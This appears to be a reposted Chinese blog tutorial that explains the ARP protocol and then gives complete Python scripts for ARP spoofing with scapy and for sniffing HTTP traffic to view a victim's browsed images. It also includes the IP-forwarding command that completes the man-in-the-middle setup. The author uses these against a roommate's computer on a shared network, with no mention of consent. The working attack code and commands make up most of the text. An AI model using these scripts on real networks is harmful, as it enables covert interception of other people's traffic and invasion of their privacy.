1. 程式人生 > >利用Python&ARP欺騙抓圖片!回首掏,哎就是封不了我的IP!難受

利用Python&ARP欺騙抓圖片!回首掏,哎就是封不了我的IP!難受

利用Python&ARP欺騙抓圖片!回首掏,哎就是封不了我的IP!難受

選擇kali支援的無線網絡卡可參考連結:http://www.freebuf.com/articles/wireless/140065.html

不過要注意一點,wn722n型號的無線網絡卡只有v1才支援kali,現在網上大多數賣的都是v2的,如果選擇這一款買的時候要好好看一下,不要選錯

arp協議研究

在進行arp攻擊之前,先來研究一下arp協議

arp協議的全稱為地址解析協議,是一種工作在網路層的協議,是一種將ip地址轉換為MAC地址(實體地址)的協議

因為在OSI七層模型中,ip地址在第三層網路層,傳送的是ip資料報,mac地址在第二層資料鏈路層,傳送的是資料幀,二層的乙太網交換裝置並不能識別32位的IP地址,它們是以48位乙太網地址(就是我們常說的MAC地址)傳輸乙太網資料包(幀)的,區域網的機器要和其他機器進行通訊,首先要獲取對方的實體地址,所以arp協議便把ip地址轉換為實體地址來實現這種對應關係

arp協議資料包

利用Python&ARP欺騙抓圖片!回首掏,哎就是封不了我的IP!難受

進群:548377875   即可獲取數十套PDF哦

利用Python&ARP欺騙抓圖片!回首掏,哎就是封不了我的IP!難受

這樣發起 arp 請求的機器從 arp 響應包裡獲取 MAC 地址並新增到本機 arp 快取中,與閘道器進行通訊,在這裡要注意一點,在本機向閘道器傳送 arp 請求的同時,閘道器也會向本機發送 arp 請求獲取本機 MAC 地址,同時本機也會向閘道器傳送 arp 響應,這時一個雙向的過程,這裡不再重複

接下來為了更清楚的理解,用 wireshark 抓包來觀察一下 arp 請求包和響應包

選擇抓包的網絡卡介面,在這選擇wlan0,並向閘道器發起ping請求與閘道器通訊,本機 ip 為192.168.0.106,閘道器ip為192.168.0.1

利用Python&ARP欺騙抓圖片!回首掏,哎就是封不了我的IP!難受

利用Python&ARP欺騙抓圖片!回首掏,哎就是封不了我的IP!難受

在過濾視窗輸入arp&&ip.addr==192.168.0.1將arp資料包過濾出來

利用Python&ARP欺騙抓圖片!回首掏,哎就是封不了我的IP!難受

觀察arp請求包和響應包是否和上述描述的一致,圖中做出了詳細標明

arp請求包

利用Python&ARP欺騙抓圖片!回首掏,哎就是封不了我的IP!難受

arp響應包

利用Python&ARP欺騙抓圖片!回首掏,哎就是封不了我的IP!難受

arp欺騙

上面描述完了arp協議,下面來說一下arp欺騙攻擊,假設區域網內有三臺機器

閘道器:192.168.0.1

受害者機器:192.168.0.108

本機kali:192.168.0.106

正常情況下,如果受害者和閘道器要進行通訊,首先要使用arp協議進行對方的MAC地址獲取,但是如果攻擊者不斷的向受害者傳送arp響應包,告訴受害者閘道器的MAC地址為自己的MAC地址,包的大致內容如下

op:2(op值為2說明這是一次arp響應)

hwsrc:傳送方MAC地址(攻擊者MAC地址)

psrc:傳送方ip地址(閘道器ip地址)

hwdst:目標MAC地址(受害者MAC地址)

pdst:目標ip地址(受害者ip地址)

在這裡傳送方ip是閘道器的ip,但是傳送方MAC已經變為了攻擊者(kali)的MAC地址,受害者不斷的接收這個arp響應包,便會在自己的arp快取中不斷的更新錯誤的ip與MAC的對應關係,及閘道器的MAC為攻擊者的MAC,由此攻擊者的網絡卡便可以捕獲到受害者到閘道器之間的流量,到現在實現了arp斷網,受害者因為與錯誤的MAC地址進行通訊而上不了網,如果攻擊者的機器開啟了ip轉發,便可以將從受害者擷取到的流量轉發出去給閘道器,實現arp欺騙,也稱為中間人攻擊

arp欺騙一般是雙向欺騙,我們通過arp欺騙可以捕獲到受害者到閘道器的流量,同樣的我們可以向閘道器傳送arp響應包欺騙閘道器受害者的MAC地址為自己的MAC地址,截獲閘道器到受害者之間的流量,arp響應包大致如下

op:2(op值為2說明這是一次arp響應)

hwsrc:傳送方MAC地址(攻擊者MAC地址)

psrc:傳送方ip地址(受害者ip地址)

hwdst:目標MAC地址(閘道器MAC地址)

pdst:目標ip地址(閘道器ip地址)

同樣的閘道器在不斷接受到此arp響應時也會不斷的更新自己的arp快取去建立錯誤的關係,我們的kali攻擊機便可以雙向的截獲流量

用python實現arp攻擊

所需的python第三方庫

scapy庫:scapy是一個可用於網路嗅探的非常強大的第三方庫。可以偽造,嗅探或傳送網路資料包,這這裡我們使用scapy庫偽造arp響應包併發送,首先安裝scapy庫,kali預設自帶

pip install scapy

模擬攻擊環境,一個真實的區域網,就是我們寢室

自己的kali攻擊機:192.168.0.106,裝在vm虛擬機器中,連線了RT3070型號的無線網絡卡

室友的電腦:192.168.0.108,連線同一路由器的無線網

閘道器:192.168.0.1

編寫python程式碼:arpattack.py

from scapy.all import *#匯入scapy模組
from optparse import OptionParser#匯入命令列引數處理模組optparse
import sys
def main():
 usage="Usage: [-i interface] [-t targetip] [-g gatewayip]"
 parser=OptionParser(usage)
 parser.add_option('-i',dest='interface',help='select interface(input eth0 or wlan0 or more)')#-i 所選擇的網絡卡,eth0或wlan0,存放在interface變數中
 parser.add_option('-t',dest='targetip',help='select ip to spoof')#-t 要攻擊的ip,存放在targetip變數中
 parser.add_option('-g',dest='gatewayip',help='input gateway ip')#-g 閘道器ip,存放在gatewayip變數中
 (options,args)=parser.parse_args()
 if options.interface and options.targetip and options.gatewayip:
 interface=options.interface
 tip=options.targetip
 gip=options.gatewayip
 spoof(interface,tip,gip)#將引數傳給spoof函式
 else:
 parser.print_help()#顯示幫助
 sys.exit(0)
def spoof(interface,tip,gip):#獲取命令列的輸入實現arp攻擊
 localmac=get_if_hwaddr(interface)#get_if_hwaddr獲取本地網絡卡MAC地址
 tmac=getmacbyip(tip)#根據目標ip獲取其MAC地址
 gmac=getmacbyip(gip)#根據閘道器ip獲取其MAC地址
 ptarget=Ether(src=localmac,dst=tmac)/ARP(hwsrc=localmac,psrc=gip,hwdst=tmac,pdst=tip,op=2)#構造arp響應包,欺騙目標機器閘道器的MAC地址為本機MAC地址
 pgateway=Ether(src=localmac,dst=gmac)/ARP(hwsrc=localmac,psrc=tip,hwdst=gmac,pdst=gip,op=2)#構造arp響應包,欺騙閘道器目標機器的MAC地址為本機MAC地址
 try:
 while 1:
 sendp(ptarget,inter=2,iface=interface)
 print "send arp reponse to target(%s),gateway(%s) macaddress is %s"%(tip,gip,localmac)
 sendp(pgateway,inter=2,iface=interface)
 print "send arp reponse to gateway(%s),target(%s) macaddress is %s"%(gip,tip,localmac)#不斷髮送arp響應包欺騙目標機器和閘道器,直到ctrl+c結束程式
 except KeyboardInterrupt:
 sys.exit(0)
if __name__=='__main__':
 main()

指令碼使用到的scapy庫中的幾個函式

get_if_hwaddr("本地網絡卡名稱(eth0/wlan0)") 根據所選擇的本地網絡卡獲取相應的本地網絡卡的MAC地址

利用Python&ARP欺騙抓圖片!回首掏,哎就是封不了我的IP!難受

getmacbyip("ip地址") 根據ip地址獲取其MAC地址,使用該函式實際上使用了一次arp協議,可以用此函式獲取閘道器和目標的MAC地址

利用Python&ARP欺騙抓圖片!回首掏,哎就是封不了我的IP!難受

ARP是構建ARP資料包的類,Ether用來構建乙太網資料包,構造arp資料包並加上乙太網頭部

Ether(src=本地網絡卡MAC,dst=目標機器MAC)/ARP(hwsrc=本地網絡卡MAC,psrc=閘道器ip,hwdst=目標機器MAC,pdst=目標機器ip,op=2)
構造傳送給目標機器的arp資料包,並加上乙太網頭部,欺騙目標機器閘道器的MAC為本機的MAC
Ether(src=本地網絡卡MAC,dst=閘道器MAC)/ARP(hwsrc=本地網絡卡MAC,psrc=閘道器ip,hwdst=閘道器MAC,pdst=閘道器ip,op=2)
構造傳送給閘道器的arp資料包,並加上乙太網頭部,欺騙閘道器目標機器的MAC為本機的MAC
sendp函式傳送我們構造的arp資料包 sendp(資料包, inter=2, iface=網絡卡) sendp函式工作在網路的第二層

以上程式碼實現了類似於arpspoof工具的功能,使用方法,進入指令碼目錄,輸入

python arpattack.py -h

檢視指令碼使用幫助

Usage: [-i interface] [-t targetip] [-g gatewayip]
Options:
 -h, --help show this help message and exit
 -i INTERFACE select interface(input eth0 or wlan0 or more)
 -t TARGETIP select ip to spoof
 -g GATEWAYIP input gateway ip

所以我們這樣輸入可以雙向的欺騙閘道器和目標機器完中間人攻擊

python arpattack.py -i 網絡卡 -t 要攻擊的目標的ip地址 -g 閘道器ip

輸入

python arpattack.py -i wlan0 -t 192.168.0.8 -g 192.168.0.1

選擇無線網絡卡wlan0的MAC地址去欺騙室友的電腦和閘道器路由器,如果我和室友都插了網線,就要選擇eth0

執行指令碼便會不斷的向室友的電腦和閘道器傳送arp響應包進行雙向欺騙,效果如下

利用Python&ARP欺騙抓圖片!回首掏,哎就是封不了我的IP!難受

室友電腦 arp 快取

利用Python&ARP欺騙抓圖片!回首掏,哎就是封不了我的IP!難受

路由器 arp 快取

利用Python&ARP欺騙抓圖片!回首掏,哎就是封不了我的IP!難受

這時我們截獲了室友電腦和閘道器之間的流量,使其不能相互通訊,完成了arp斷網

echo "1">/proc/sys/net/ipv4/ip_forward

開啟流量轉發,這時室友和閘道器正常通訊,但是流量會經過我們的網絡卡

接下來用python編寫程式碼檢視室友電腦瀏覽的網頁圖片,其實不難,因為瀏覽圖片一般都是向伺服器傳送一次請求圖片的http請求,所以只需從經過我們網絡卡的流量中過濾tcp80埠的資料包(http協議),將資料包的頭部層層去掉,最後便能得到應用層的http資料包,在利用正則表示式將http://*.jpg篩選出來即可知道室友請求了哪些圖片,python的pcap庫和dpkt庫可以使我們很容易的得到電腦網絡卡流量中的http應用層資料包

apt-get install libpcap-dev
pip install pypcap
pip install dpkt

安裝pcap庫和dpkt庫

pcap模組的pcap方法可以返回一個用來捕獲網絡卡資料包的pcap物件

dpkt,一個數據包解析工具,可以解析離線/實時pcap資料包

python程式碼如下stealimg.py

import pcap
import dpkt
import re
import requests
from PIL import Image
from io import BytesIO
from optparse import OptionParser
import sys
urllist=[]
def main():
 usage="Usage: [-i interface]"
 parser=OptionParser(usage)
 parser.add_option('-i',dest='interface',help='select interface(input eth0 or wlan0 or more)')
 (options,args)=parser.parse_args()
 if options.interface:
 interface=options.interface
 pc=pcap.pcap(interface)
 pc.setfilter('tcp port 80')
 for ptime,pdata in pc:
 getimg(pdata)
 else:
 parser.print_help()
 sys.exit(0)
def getimg(pdata):
 global urllist
 p=dpkt.ethernet.Ethernet(pdata)
 if p.data.__class__.__name__=='IP':
 if p.data.data.__class__.__name__=='TCP':
 if p.data.data.dport==80:
 pa=re.compile(r'GET (.*?.jpg)')#|.*?.png|.*?.gif
 img=re.findall(pa,p.data.data.data)
 if img!=[]:
 lines=p.data.data.data.split('
')
 for line in lines:
 if 'Host:' in line:
 url='http://'+line.split(':')[-1].strip()+img[-1]
 if url not in urllist:
 urllist.append(url)
 if 'Referer:' in p.data.data.data:
 for line in lines:
 if 'Referer:' in line:
 referer=line.split(':')[-1].strip()
 print url
 r=requests.get(url,headers={'Referer':referer})
 img=Image.open(BytesIO(r.content))
 img.show()
 else:
 r=requests.get(url)
 img=Image.open(BytesIO(r.content))
 img.show()
 else:
 pass
if __name__=='__main__':
 main() 

程式碼將pcap從本機網絡卡捕獲到的完整的網路資料包使用dpkt庫將其中封裝的http應用層資料包提取出來,通過正則表示式將請求圖片的http請求過濾出來,並在本機請求並輸出,完成窺屏,效果如下

用法 stealimg,py -i wlan0

室友電腦瀏覽圖片

利用Python&ARP欺騙抓圖片!回首掏,哎就是封不了我的IP!難受

自己kali可以窺屏

利用Python&ARP欺騙抓圖片!回首掏,哎就是封不了我的IP!難受

注意一點,百度的圖片爬取要在http請求頭中加上Referer欄位,否則會出現403禁止訪問,程式碼只是簡單的實現了窺屏的效果,還有著很多不足,不過通過這次學習可以對arp欺騙攻擊有更深的理解